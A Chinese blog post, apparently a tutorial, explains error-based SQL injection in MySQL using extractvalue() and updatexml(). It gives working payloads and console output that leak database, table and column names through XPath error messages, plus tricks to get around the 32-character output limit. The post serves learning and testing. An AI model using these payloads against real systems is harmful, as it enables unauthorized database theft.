sql注入中报错注入函数extractvalue和updatexml函数的原理及使用

extractvalue函数原理

这是一个对xml文件进行查询的函数,更准确地说,它是会从目标xml文件中返回所包含查询值的字符串,标准语法为:

extractvalue('XML_document','Xpath_string')
//即
extractvalue('目标xml文件名','在xml中查询的字符串')

看得出来第二个参数要求的是Xpath格式的字符串,语法正确是会按照路径
/该xml文件/要查询的字符串 进行查询(这里涉及到Xpath语法,未了解深,不知道此处表达是否会有误),如果我们输入的Xpath_string不对就会报错,而如果页面回显sql报错信息就可以得到我们想要的信息了。

  • 此处的XML_document可以是anything。
示例

本文mysql版本:5.7.26
Xpath没问题的情况下

mysql> select (extractvalue(1,(database())));
+--------------------------------+
| (extractvalue(1,(database()))) |
+--------------------------------+
|                                |
+--------------------------------+
1 row in set (0.00 sec)
//在1中查询不到database()的结果,但是也没有语法错误,所以不会报错

concat函数拼接一个错误的Xpath让mysql报错得到包含查询值的字符串

mysql> select (extractvalue(1,concat(0x7e,database())));
ERROR 1105 (HY000): XPATH syntax error: '~security'

修改database()部分可以爆表、列、值。

值得注意的是,extractvalue函数一次只能查询32位长度,在爆表、列、值的时候

  1. 需要加上limit x,1逐一查询
    mysql> select 1,2,(extractvalue(1,concat(0x7e,(select table_name from 
    information_schema.tables where table_schema = 'security' limit 0,1))));
    ERROR 1105 (HY000): XPATH syntax error: '~emails'
    
  2. 用group_concat函数把查询结果分组聚合,然后用and xxxxx not in 'xxx','xxx'过滤掉前面回显的
    mysql> select 1,2,(extractvalue(1,concat(0x7e,(select group_concat(column_name) from 
    information_schema.columns where table_name= 'users' ))));
    ERROR 1105 (HY000): XPATH syntax error: '~user_id,first_name,last_name,us'
    //以上用group_concat未过滤的只能显示32位长度
    mysql> select 1,2,(extractvalue(1,concat(0x7e,(select group_concat(column_name) from 
    information_schema.columns where table_name= 'users' and column_name not in ('user_id','first_name','last_name')))));
    ERROR 1105 (HY000): XPATH syntax error: '~user,password,avatar,last_login'
    //注意:我在编辑md时手动回车了。
    
  3. substring()函数截取
    mysql> select (extractvalue(1,concat(0x7e,substring(hex((select database())),1,32))));
    ERROR 1105 (HY000): XPATH syntax error: '~7365637572697479'
    //substring(hex(aaa),x,y)中,x为从起始偏移值,y为长度,可变
    

updatexml函数

顺便讲一下这个函数,跟extractvalue基本相同。
顾名思义,这是个修改xml文件的函数,标准语法为:

updatexml('XML_document','Xpath_string','New_value')
//即
updatexml('目标xml文件名','在xml中查询的字符串','替换后的值')

其他都一样。
PS:据说高版本的mysql已经修复了该bug

示例

这里只给报错payload:

mysql> select (updatexml(1,concat(0x7e,(database()),0x7e),1));
ERROR 1105 (HY000): XPATH syntax error: '~security~'
//第二个0x7e可以略去,但是第二个1不可略去,会导致函数不完整的报错

bye

  • 11
    点赞
  • 34
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值